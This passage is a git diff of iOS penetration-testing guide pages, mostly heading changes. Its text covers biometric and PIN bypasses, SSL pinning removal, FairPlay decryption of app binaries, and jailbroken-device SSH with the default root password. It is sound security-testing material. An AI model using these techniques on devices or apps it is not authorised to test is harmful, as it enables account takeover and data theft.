initWithFrame: frame ]; textField.autocorrectionType = UITextAutocorrectionTypeNo; ``` -### **Logs** +# **Logs** The most common ways to debug code is using logging, and the application **may print sensitive information inside the logs**.\ In iOS version 6 and below, logs were world readable (a malicious app could read logs from other apps and extract sensitive information from there). **Nowadays, apps can only access their own logs**. @@ -734,7 +733,7 @@ Jun 7 13:42:14 iPhone touch[9708] : MS:Notice: Injecting: (null) [touch ... ``` -### Backups +# Backups iOS includes auto-backup features that create copies of the data stored on the device. You can **make iOS backups** from your host computer by using iTunes (till macOS Catalina) or Finder (from macOS Catalina onwards), or via the iCloud backup feature. In both cases, the backup includes nearly all data stored on the iOS device except highly sensitive data such as Apple Pay information and Touch ID settings. @@ -781,7 +780,7 @@ In the open source bitcoin wallet app, [Bither](https://github.com/bither/bither This is PIN is stored in the file `net.bither.plist` inside the **pin\_code** **key**.\ If you clear this key from that plist in the backup and restores the backup, you will be able to access the wallet. -### Testing Memory for Sensitive Data +# Testing Memory for Sensitive Data At some point sensitive information is going to be stored in memory. The objective is to make sure that this info is exposed as briefly as possible. @@ -827,17 +826,17 @@ Usage: /[!bf] [arg] Search stuff (see 'e??search' for options) By using [**r2frida**](https://github.com/nowsecure/r2frida) you can analyze and inspect the app's memory while running and without needing to dump it. For example, you may run the previous search commands from r2frida and search the memory for a string, hexadecimal values, etc. When doing so, remember to prepend the search command (and any other r2frida specific commands) with a backslash `\` after starting the session with `r2 frida://usb//`. -### Broken Cryptography +# Broken Cryptography -#### Poor Key Management Processes +## Poor Key Management Processes Some developers save sensitive data in the local storage and encrypt it with a key hardcoded/predictable in the code. This shouldn't be done as some reversing could allow attackers to extract the confidential information. -#### Use of Insecure and/or Deprecated Algorithms +## Use of Insecure and/or Deprecated Algorithms Developers shouldn't use **deprecated algorithms** to perform authorisation **checks**, **store** or **send** data. Some of these algorithms are: RC4, MD4, MD5, SHA1... If **hashes** are used to store passwords for example, hashes brute-force **resistant** should be used with salt. -#### Check +## Check The main checks to perform if to find if you can find **hardcoded** passwords/secrets in the code, or if those are **predictable**, and if the code is using some king of **weak** **cryptography** algorithms. @@ -849,7 +848,7 @@ ios monitor crypt For **more information** about iOS cryptographic APIs and libraries access [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography) -### Local Authentication +# Local Authentication The tester should be aware that **local authentication should always be enforced at a remote endpoint** or based on a cryptographic primitive. Attackers can easily bypass local authentication if no data returns from the authentication process. @@ -866,7 +865,7 @@ Developers have two options for incorporating Touch ID/Face ID authentication: Please be aware that using either the `LocalAuthentication.framework` or the `Security.framework`, will be a control that can be bypassed by an attacker as it does only return a boolean and no data to proceed with. See [Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) for more details. {% endhint %} -#### Local Authentication Framework +## Local Authentication Framework Developers can display an **authentication prompt** by utilizing the function `evaluatePolicy` of the `LAContext` class. Two available policies define acceptable forms of authentication: @@ -875,7 +874,7 @@ Developers can display an **authentication prompt** by utilizing the function `e The **`evaluatePolicy` function returns a boolean** value indicating whether the user has authenticated successfully. Which means that it can be easily bypassed (see below) -#### Local Authentication using Keychain +## Local Authentication using Keychain The **iOS keychain APIs can (and should) be used to implement local authentication**. During this process, the app stores either a secret authentication token or another piece of secret data identifying the user in the keychain. In order to authenticate to a remote service, the user must unlock the keychain using their passphrase or fingerprint to obtain the secret data. @@ -1004,7 +1003,7 @@ if (status == noErr){ {% endtab %} {% endtabs %} -#### Detection +## Detection Usage of frameworks in an app can also be detected by analyzing the app binary's list of shared dynamic libraries. This can be done by using `otool`: @@ -1021,7 +1020,7 @@ If `LocalAuthentication.framework` is used in an app, the output will contain bo If `Security.framework` is used, only the second one will be shown. -#### Local Authentication Framework Bypass +## Local Authentication Framework Bypass [Objection Biometrics Bypass](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) can be used to bypass LocalAuthentication. Objection **uses Frida to instrument the `evaluatePolicy` function so that it returns `True`** even if authentication was not successfully performed. Use the `ios ui biometrics_bypass` command to bypass the insecure biometric authentication. Objection will register a job, which will replace the `evaluatePolicy` result. It will work in both, Swift and Objective-C implementations. @@ -1036,51 +1035,51 @@ If `Security.framework` is used, only the second one will be shown. If vulnerable, the module will automatically bypass the login form. -### Sensitive Functionality Exposure Through IPC +# Sensitive Functionality Exposure Through IPC -#### Custom URI Handlers / Deeplinks / Custom Schemes +## Custom URI Handlers / Deeplinks / Custom Schemes {% content-ref url="ios-custom-uri-handlers-deeplinks-custom-schemes.md" %} [ios-custom-uri-handlers-deeplinks-custom-schemes.md](ios-custom-uri-handlers-deeplinks-custom-schemes.md) {% endcontent-ref %} -#### Universal Links +## Universal Links {% content-ref url="ios-universal-links.md" %} [ios-universal-links.md](ios-universal-links.md) {% endcontent-ref %} -#### UIActivity Sharing +## UIActivity Sharing {% content-ref url="ios-uiactivity-sharing.md" %} [ios-uiactivity-sharing.md](ios-uiactivity-sharing.md) {% endcontent-ref %} -#### UIPasteboard +## UIPasteboard {% content-ref url="ios-uipasteboard.md" %} [ios-uipasteboard.md](ios-uipasteboard.md) {% endcontent-ref %} -#### App Extensions +## App Extensions {% content-ref url="ios-app-extensions.md" %} [ios-app-extensions.md](ios-app-extensions.md) {% endcontent-ref %} -#### WebViews +## WebViews {% content-ref url="ios-webviews.md" %} [ios-webviews.md](ios-webviews.md) {% endcontent-ref %} -#### Serialisation and Encoding +## Serialisation and Encoding {% content-ref url="ios-serialisation-and-encoding.md" %} [ios-serialisation-and-encoding.md](ios-serialisation-and-encoding.md) {% endcontent-ref %} -### Network Communication +# Network Communication It's important to check that no communication is occurring **without encryption** and also that the application is correctly **validating the TLS certificate** of the server.\ To check these kind of issues you can use a proxy like **Burp**: @@ -1089,19 +1088,19 @@ To check these kind of issues you can use a proxy like **Burp**: [burp-configuration-for-ios.md](burp-configuration-for-ios.md) {% endcontent-ref %} -#### Hostname check +## Hostname check One common issue validating the TLS certificate is to check that the certificate was signed by a **trusted** **CA**, but **not check** if **the hostname** of the certificate is the hostname being accessed.\ In order to check this issue using Burp, after trusting Burp CA in the iPhone, you can **create a new certificate with Burp for a different hostname** and use it. If the application still works, then, something it's vulnerable. -#### Certificate Pinning +## Certificate Pinning If an application is correctly using SSL Pinning, then the application will only works if the certificate is the once expected to be. When testing an application **this might be a problem as Burp will serve it's own certificate.**\ In order to bypass this protection inside a jailbroken device, you can install the application [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) or install \[**Burp Mobile Assistant\_\*]\(\_**[**https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing)\\**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing\)/)\* You can also use **objection's** `ios sslpinning disable` -### Misc +# Misc * In **`/System/Library`** you can find the frameworks installed in the phone used by system applications * The applications installed by the user from the App Store are located inside **`/User/Applications`** @@ -1112,13 +1111,13 @@ You can also use **objection's** `ios sslpinning disable` * **`iTunesMetadata.plist`**: Info of the app used in the App Store * **`/Library/*`**: Contains the preferences and cache. In **`/Library/Cache/Snapshots/*`** you can find the snapshot performed to the application before sending it to the background. -#### Hot Patching/Enforced Updateing +## Hot Patching/Enforced Updateing The developers can remotely **patch all installations of their app instantly** without having to resubmit the application to the App store and wait until it's approved.\ For this purpose it's usually use [**JSPatch**](https://github.com/bang590/JSPatch)**.** But there are other options also such as [Siren](https://github.com/ArtSabintsev/Siren) and [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ **This is a dangerous mechanism that could be abused by malicious third party SDKs therefore it's recommended to check which method is used to automatic updating (if any) and test it.** You could try to download a previous version of the app for this purpose. -#### Third Parties +## Third Parties One problem of 3rd party SDKs is that there is **no granular control over the features offered by the SDK**. You could sue the SDK and have all features (including diagnostic leaks and insecure HTTP connections), or not use it. Also, usually it's no possible for the applications developers to **patch a vulnerability** on the SDK.\ Moreover some SDKs start **containing malware once they are very trusted** by the community. @@ -1136,12 +1135,12 @@ All data that's sent to third-party services should be anonymized to prevent exp You can find the **libraries used by an application** by running **`otool`** against the app (and **running** it **against** **each** shared **library** to find more shared libraries used). -### **References** +# **References** * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) * [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) -### More Information +# More Information * [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) * [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) diff --git a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md b/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md index be2bbd19..9cf7c921 100644 --- a/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md +++ b/mobile-apps-pentesting/ios-pentesting/basic-ios-testing-operations.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Basic iOS Testing Operations - -## Getting the UDID of an iOS device +# Getting the UDID of an iOS device {% hint style="info" %} Perform this actions having **connected** the device to the computer via **USB** and having the **device** **unlocked**. @@ -59,11 +57,11 @@ It is also possible to get the UDID via various command line tools on macOS whil $ instruments -s devices ``` -## Accessing the Device Shell +# Accessing the Device Shell After jailbreaking the device you should have installed some new app manager like **Cydia**. -### SSH +## SSH In order to enable SSH access to your iOS device you can install the **OpenSSH** **package**. Once installed, you can access your device via ssh running `ssh root@`, which will log you in as the root user: @@ -82,7 +80,7 @@ When accessing your iOS device via SSH consider the following: -### **Connect to a Device via SSH over USB** +## **Connect to a Device via SSH over USB** During a real black box test, a reliable Wi-Fi connection may not be available. In this situation, you can use usbmuxd to connect to your device's SSH server via USB. @@ -106,7 +104,7 @@ iPhone:~ root# > Small note on USB of an iDevice: on an iOS device you cannot make data connections anymore after 1 hour of being in a locked state, unless you unlock it again due to the USB Restricted Mode, which was introduced with iOS 11.4.1 -### On-device Shell App +## On-device Shell App While usually using an **on-device shell** (terminal emulator) might be very tedious compared to a remote shell, it can prove handy for debugging in case of, for example, network issues or check some configuration. For example, you can install [NewTerm 2](https://repo.chariz.io/package/ws.hbang.newterm2/) via Cydia for this purpose (it supports iOS 6.0 to 12.1.2 at the time of this writing). @@ -126,7 +124,7 @@ On your host computer run the following command and, when asked, enter the passw $ ssh -p 2222 root@localhost ``` -### **Forgotten Password** +## **Forgotten Password** If you forget your password and want to reset it to the default `alpine`: @@ -140,9 +138,9 @@ If you forget your password and want to reset it to the default `alpine`: 3. Change `xxxxxxxxx` to `/smx7MYTQIi2M` (which is the hashed password `alpine`) 4. Save and exit -## Data Transfer +# Data Transfer -### Copying App Data Files via SSH and SCP +## Copying App Data Files via SSH and SCP As we know now, files from our app are stored in the Data directory. You can now simply archive the Data directory with `tar` and pull it from the device with `scp`: @@ -152,7 +150,7 @@ iPhone:~ root# exit $ scp -P 2222 root@localhost:/tmp/data.tgz . ``` -### Using iFunbox +## Using iFunbox [**iFunbox**](https://www.i-funbox.com/en/page-download.html) is a GUI application that can be used for several things (uploading/downloading files among them).\ Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexplorer). @@ -161,7 +159,7 @@ Another GUI tool for this purpose is [**iExplorer**](https://macroplant.com/iexp Starting in iOS version 8.4, Apple has **restricted the third-party managers to access to the application sandbox**, so tools like iFunbox and iExplorer no longer display/retrieve files from apps installed on the device if the device isn't jailbroken. {% endhint %} -### Using Objection +## Using Objection When you are starting objection (`objection --gadget com.apple.mobilesafari explorer`) you will find the prompt within the Bundle directory. @@ -189,9 +187,9 @@ Successfully downloaded /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4F You can also upload files to the iOS device with `file upload `. -## Obtaining and Extracting Apps +# Obtaining and Extracting Apps -### Getting the IPA File from an OTA Distribution Link +## Getting the IPA File from an OTA Distribution Link During development, apps are sometimes provided to testers via over-the-air (OTA) distribution. In that situation, you'll receive an itms-services link, such as the following: @@ -211,7 +209,7 @@ Save the IPA file locally with the following command: # itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa ``` -### Acquiring the App Binary +## Acquiring the App Binary 1. **From an IPA**: @@ -222,7 +220,7 @@ Save the IPA file locally with the following command: If you don't have the original IPA, then you need a jailbroken device where you will **install the app** (e.g. via App Store). Once installed, you need to **extract the app binary from memory and rebuild the IPA file**. Because of DRM, the app binary file is encrypted when it is stored on the iOS device, so simply pulling it from the Bundle (either through SSH or Objection) will not be sufficient to reverse engineer it (read next section). -### Decryption (Manual) +## Decryption (Manual) Unlike an Android Application, the binary of an iOS app **can only be disassembled** and not decompiled.\ When an application is submitted to the app store, Apple first verifies the app conduct and before releasing it to the app-store, **Apple encrypts the binary using** [**FairPlay**](https://developer.apple.com/streaming/fps/). So the binary download from the app store is encrypted complicating ting the reverse-engineering tasks. @@ -293,9 +291,9 @@ However, you can use tools like [**MachOView**](https://sourceforge.net/projects ![](<../../.gitbook/assets/image (470).png>) -### Decryption (Automatically) +## Decryption (Automatically) -#### frida-ios-dump +### frida-ios-dump You can use tools like [**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) to **automatically remove the encryption and an app**. @@ -336,7 +334,7 @@ libswiftCoreData.dylib.fid: 100%|██████████| 82.5k/82.5k [00 After this, the `Telegram.ipa` file will be created in your current directory. You can validate the success of the dump by removing the app and reinstalling it (e.g. using [**ios-deploy**](https://github.com/ios-control/ios-deploy) `ios-deploy -b Telegram.ipa`). Note that this will only work on jailbroken devices, as otherwise the signature won't be valid. -#### flexdecrypt +### flexdecrypt In order to **obtain the ipa file** from an installed application you can also use the tool [**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) or a wrapper of the tool called [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)**.**\ In any case you will need to **install flexdecrypt in the device** running something like: @@ -356,13 +354,13 @@ flexdump list #List apps flexdump dump Twitter.app #Create .ipa file from app ``` -#### r2flutch +### r2flutch [**r2flutch**](https://github.com/as0ler/r2flutch) is a tool that uses **radare** and **frida** to **decrypt** and **dump ios apps>** See the **github** for more information. -## Installing Apps +# Installing Apps When you install an application without using Apple's App Store, this is called **sideloading**. There are various ways of sideloading which are described below. On the iOS device, the actual installation process is then handled by the **installd** **daemon**, which will **unpack** and **install** the application. To integrate app services or be installed on an iOS device, all **applications must be signed with a certificate issued by Apple**. This means that the application can be installed only after successful code signature verification. On a jailbroken phone, however, you can **circumvent this security feature with** [**AppSync**](http://repo.hackyouriphone.org/appsyncunified), a package available in the Cydia store. It contains numerous useful applications that leverage jailbreak-provided root privileges to execute advanced functionality. **AppSync is a tweak that patches installd**, allowing the installation of fake-signed IPA packages. @@ -370,11 +368,11 @@ Different methods exist for installing an IPA package onto an iOS device, which > Please note that iTunes is no longer available in macOS Catalina. If you are using an older version of macOS, iTunes is still available but since iTunes 12.7 it is not possible to install apps. -#### Cydia Impactor +### Cydia Impactor [Cydia Impactor](http://www.cydiaimpactor.com) was originally created to jailbreak iPhones, but has been rewritten to sign and install IPA packages to iOS devices via sideloading (and even APK files to Android devices). Cydia Impactor is available for Windows, macOS and Linux. A [step by step guide and troubleshooting steps are available on yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/). -#### libimobiledevice +### libimobiledevice On Linux and also macOS, you can alternatively use [libimobiledevice](https://www.libimobiledevice.org), a cross-platform software protocol library and a set of tools for native communication with iOS devices. This allows you to install apps over a USB connection by executing ideviceinstaller. The connection is implemented with the USB multiplexing daemon [usbmuxd](https://www.theiphonewiki.com/wiki/Usbmux), which provides a TCP tunnel over USB. @@ -398,7 +396,7 @@ Install: Complete $ idevicedebug -d run OWASP.iGoat-Swift ``` -#### ipainstaller +### ipainstaller The IPA can also be directly installed on the iOS device via the command line with [ipainstaller](https://github.com/autopear/ipainstaller). After copying the file over to the device, for example via scp, you can execute ipainstaller with the IPA's filename: @@ -406,7 +404,7 @@ The IPA can also be directly installed on the iOS device via the command line wi $ ipainstaller App_name.ipa ``` -#### ios-deploy +### ios-deploy On macOS you can also use the **ios-deploy** tool to install iOS apps from the command line. You'll need to unzip your IPA since ios-deploy uses the app bundles to install apps. @@ -421,7 +419,7 @@ After the app is installed on the iOS device, you can simply start it by adding $ ios-deploy --bundle 'Payload/Name.app' -W -d -v -m ``` -#### Xcode +### Xcode It is also possible to use the Xcode IDE to install iOS apps by doing the following steps: @@ -429,7 +427,7 @@ It is also possible to use the Xcode IDE to install iOS apps by doing the follow 2. Select **Window/Devices and Simulators** 3. Select the connected iOS device and click on the **+** sign in **Installed Apps**. -#### Allow Application Installation on a Non-iPad Device +### Allow Application Installation on a Non-iPad Device Sometimes an application can require to be used on an iPad device. If you only have iPhone or iPod touch devices then you can force the application to accept to be installed and used on these kinds of devices. You can do this by changing the value of the property **UIDeviceFamily** to the value **1** in the **Info.plist** file. diff --git a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md b/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md index c68c7375..f7816ba7 100644 --- a/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md +++ b/mobile-apps-pentesting/ios-pentesting/burp-configuration-for-ios.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Burp Suite Configuration for iOS - -## Burp Cert Installation in physical iOS +# Burp Cert Installation in physical iOS You can install [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) **for help installing the Burp Certificate, configure the proxy and perform SSL Pinning.**\ Or you can manually follow the next steps: @@ -29,13 +27,13 @@ Or you can manually follow the next steps: * Access _**Setting**_ --> _**Profile Downloaded**_ and **Install** it (you will be asked your code) * Access _**Settings**_ --> _**General**_ --> _**About**_ --> _**Certificate Trust Settings**_ and enable PortSwigger CA -### Setting up an Interception Proxy via localhost +## Setting up an Interception Proxy via localhost Setting up Burp to proxy your traffic is pretty straightforward. We assume that both your iOS device and host computer are connected to a Wi-Fi network that permits client-to-client traffic. If client-to-client traffic is not permitted, you can use usbmuxd to connect to Burp via USB. PortSwigger provides a good [tutorial on setting up an iOS device to work with Burp](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) and a [tutorial on installing Burp's CA certificate to an iOS device](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device). -#### Using Burp via USB on a Jailbroken Device +### Using Burp via USB on a Jailbroken Device When doing dynamic analysis, it's interesting to use the SSH connection to route our traffic to Burp that is running on our computer. Let's get started: @@ -63,7 +61,7 @@ The last step would be to set the proxy globally on your iOS device: 5. Type in 127.0.0.1 as **Server** 6. Type in 8080 as **Port** -### Full Network Monitoring/Sniffing +## Full Network Monitoring/Sniffing If you need to **monitor something different from HTTP communications** you can sniff all the device traffic with **wireshark**.\ You can remotely sniff all traffic in real-time on iOS by [creating a Remote Virtual Interface](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) for your iOS device. First make sure you have **Wireshark** **installed** on your macOS host computer. @@ -87,7 +85,7 @@ ip.addr == 192.168.1.1 && http The documentation of Wireshark offers many examples for [Capture Filters](https://wiki.wireshark.org/CaptureFilters) that should help you to filter the traffic to get the information you want. -## Burp Cert Installation in Simulator +# Burp Cert Installation in Simulator * **Export Burp Certificate** @@ -107,7 +105,7 @@ In _Proxy_ --> _Options_ --> _Export CA certificate_ --> _Certificate in DER for **The iOS simulator will use the proxy configurations of the MacOS.** {% endhint %} -### MacOS Proxy Configuration +## MacOS Proxy Configuration Steps to configure Burp as proxy: diff --git a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md b/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md index dcd7d32d..06bf3c57 100644 --- a/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md +++ b/mobile-apps-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Extracting Entitlements From Compiled Application - **Page copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#universal-links) If you only have the app's IPA or simply the installed app on a jailbroken device, you normally won't be able to find `.entitlements` files. This could be also the case for the `embedded.mobileprovision` file. Still, you should be able to extract the entitlements property lists from the app binary yourself (which you've previously obtained as explained in the "iOS Basic Security Testing" chapter, section "Acquiring the App Binary"). diff --git a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md b/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md index 9ac78eee..140dac1c 100644 --- a/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md +++ b/mobile-apps-pentesting/ios-pentesting/frida-configuration-in-ios.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Frida Configuration in iOS - -## Installing Frida +# Installing Frida Go to **Cydia** app and add Frida’s repository by going to **Manage -> Sources -> Edit -> Add** and enter [**https://build.frida.re** ](https://build.frida.re). It will add a new source in the source list. Go to the **frida** **source**, now you should **install** the **Frida** package. diff --git a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md b/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md index 296803ce..a1dabc72 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-app-extensions.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# iOS App Extensions - **Content copied form** [**https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions**](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#app-extensions) App extensions let apps offer custom functionality and content to users while they’re interacting with other apps or the system. Some notable ones are: @@ -31,7 +29,7 @@ For example, the user selects text in the _host app_, clicks on the "Share" butt ![](https://gblobscdn.gitbook.com/assets%2F-LH00RC4WVf3-6Ou4e0l%2F-Lf1APQHyCHdAvoJSvc\_%2F-Lf1AQx9khfTwUwYuMti%2Fapp\_extensions\_communication.png?alt=media) -### **Security Considerations** +## **Security Considerations** From the security point of view it is important to note that: @@ -45,9 +43,9 @@ From the security point of view it is important to note that: * **No long-running background tasks** are allowed but uploads or downloads can be initiated. * App extensions **cannot access the camera or microphone on an iOS device** (except for iMessage app extensions). -### Static analysis +## Static analysis -#### **Verifying if the App Contains App Extensions** +### **Verifying if the App Contains App Extensions** If you have the original source code you can search for all occurrences of `NSExtensionPointIdentifier` with Xcode (cmd+shift+f) or take a look into "Build Phases / Embed App extensions": @@ -86,7 +84,7 @@ Directory 493 None True False SiriIntents.appex We can see now the same four app extensions that we saw in Xcode before. -#### **Determining the Supported Data Types** +### **Determining the Supported Data Types** This is important for data being shared with host apps (e.g. via Share or Action Extensions). When the user selects some data type in a host app and it matches the data types define here, the host app will offer the extension. It is worth noticing the difference between this and data sharing via `UIActivity` where we had to define the document types, also using UTIs. An app does not need to have an extension for that. It is possible to share data using only `UIActivity`. @@ -125,7 +123,7 @@ It is possible to reject a specific type of app extension by using the following However, it is currently only possible for "custom keyboard" app extensions (and should be verified when testing apps handling sensitive data via the keyboard like e.g. banking apps). -### Dynamic Analysis +## Dynamic Analysis For the dynamic analysis we can do the following to gain knowledge without having the source code: @@ -192,7 +190,7 @@ As you can see there are two app extensions involved: If you want to learn more about what's happening under-the-hood in terms of XPC, we recommend to take a look at the internal calls from "libxpc.dylib". For example you can use [`frida-trace`](https://www.frida.re/docs/frida-trace/) and then dig deeper into the methods that you find more interesting by extending the automatically generated stubs. -### +##
diff --git a/mobile-apps-pentesting/ios-pentesting/ios-basics.md b/mobile-apps-pentesting/ios-pentesting/ios-basics.md index 0e5c32b5..284cfc98 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-basics.md +++ b/mobile-apps-pentesting/ios-pentesting/ios-basics.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
-# iOS Basics - -## Privilege Separation and Sandbox +# Privilege Separation and Sandbox Applications the user can access run as the **mobile** user while critical system processes run as **root**.\ However, the sandbox allows better control over actions that processes and applications can perform. @@ -29,7 +27,7 @@ For example, even if two processes run as the same user (mobile), they are **not Each application is installed under **`private/var/mobile/Applications/{random ID}`**\ Once installed, applications have limited read access to some system areas and functions (SMS, phone call...). If an application wants to access a **protected area,** a **pop-up requesting permission** appears. -## Data Protection +# Data Protection App developers can leverage the iOS _Data Protection_ APIs to implement **fine-grained access control** for user data stored in flash memory. The APIs are built on top of the **Secure Enclave Processor** (SEP). The SEP is a coprocessor that provides **cryptographic operations for data protection and key management**. A device-specific hardware key-the **device UID** (Unique ID)-is **embedded in the secure enclave**, ensuring the integrity of data protection even when the operating system kernel is compromised. @@ -52,7 +50,7 @@ Since iOS 7, the default data protection class is "Protected Until First User Au [**FileDP**](https://github.com/abjurato/FileDp-Source) is a program that you can upload and use inside the IPhone to **inspect the data protection class** of each file. -### The Keychain +## The Keychain A keychain is an **encrypted** **container** where every application can **store** **sensitive** pieces of **information** and only the same app (or authorised apps) can retrieve the contents.\ The iOS **generated its own password for the keychain** and **stores** an **encrypted** version of this key in the device. This password is encrypted with AES using an AES key created by a **PBKDF2** function of the **user's passcode + salt** (the 256 bit device **UID** **only** **accessible** to the secure **enclave chipset** on the device). Due to the use of this device UID as salt, a device won't be able to decrypt the keychain of a different device even knowing the users passcode. @@ -97,7 +95,7 @@ When a backup process is initiated the keychain **data backed up remains encrypt **In a jailbroken device the keychain isn't protected.** {% endhint %} -#### **Keychain Data Persistence** +### **Keychain Data Persistence** On iOS, when an application is uninstalled, the Keychain data used by the application is retained by the device, unlike the data stored by the application sandbox which is wiped. In the event that a **user sells their device without performing a factory reset, the buyer of the device may be able to gain access to the previous user's application accounts and data by reinstalling** the same applications used by the previous user. This would require no technical ability to perform. @@ -119,7 +117,7 @@ if userDefaults.bool(forKey: "hasRunBefore") == false { * When developing logout functionality for an iOS application, make sure that the Keychain data is wiped as part of account logout. This will allow users to clear their accounts before uninstalling an application. -## **App Capabilities** +# **App Capabilities** **Each app has a unique home directory and is sandboxed**, so that they cannot access protected system resources or files stored by the system or by other apps. These restrictions are implemented via sandbox policies (aka. _profiles_), which are enforced by the [Trusted BSD (MAC) Mandatory Access Control Framework](http://www.trustedbsd.org/mac.html) via a kernel extension. @@ -150,7 +148,7 @@ If only having the IPA: Your location is used to provide turn-by-turn directions to your destination. ``` -### Device Capabilities +## Device Capabilities Device capabilities are used by the App Store to ensure that only compatible devices are listed and therefore are allowed to download the app. They are specified in the `Info.plist` file of the app under the [`UIRequiredDeviceCapabilities`](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Articles/iPhoneOSKeys.html#//apple\_ref/doc/plist/info/UIRequiredDeviceCapabilities) key. @@ -165,7 +163,7 @@ Device capabilities are used by the App Store to ensure that only compatible dev For example, an app might be completely dependent on NFC to work (e.g. a ["NFC Tag Reader"](https://itunes.apple.com/us/app/nfc-taginfo-by-nxp/id1246143596) app). According to the [archived iOS Device Compatibility Reference](https://developer.apple.com/library/archive/documentation/DeviceInformation/Reference/iOSDeviceCompatibility/DeviceCompatibilityMatrix/DeviceCompatibilityMatrix.html), NFC is only available starting on the iPhone 7 (and iOS 11). A developer might want to exclude all incompatible devices by setting the `nfc` device capability. -### Entitlements +## Entitlements > Entitlements are key value pairs that are signed in to an app and allow authentication beyond runtime factors, like UNIX user ID. Since entitlements are digitally signed, they can’t be changed. Entitlements are used extensively by system apps and daemons to **perform specific privileged operations that would otherwise require the process to run as root**. This greatly reduces the potential for privilege escalation by a compromised system app or daemon. @@ -182,7 +180,7 @@ For example, if you want to set the "Default Data Protection" capability, you wo For other capabilities such as HealthKit, the user has to be asked for permission, therefore it is not enough to add the entitlements, special keys and strings have to be added to the `Info.plist` file of the app. -## Objective-C and Swift Basics +# Objective-C and Swift Basics **Objecttive-C** has a **dynamic runtime**, so when an Objective-C program is executed in iOS, it calls libraries whose **address are resolved at runtime** by comparing the name of the function sent in the message against a list of all the function names available. @@ -190,7 +188,7 @@ At the beginning, only apps created by Apple run the iPhones, so they had **acce Then, Swift appeared. As **Swift is statically bound** (it doesn't resolve the address of the functions in runtime like Objective-C), it can be checked more easily the calls a Swift program is going to make via static code analysis. -## Device Management +# Device Management From iOS version 6, there is **built-in support for device management** capability with fine grain controls that allows an organisation to control the corporate apple devices.\ The enrolment can be **initiated by the user installing an agent** in order to access the corporate apps. In this case the device usually belongs to the user.\ diff --git a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md b/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md index aa0cbdd1..dc2f4948 100644 --- a/mobile-apps-pentesting/ios-pentesting/ios-custom-uri-handlers-deeplinks-custom-schemes.md 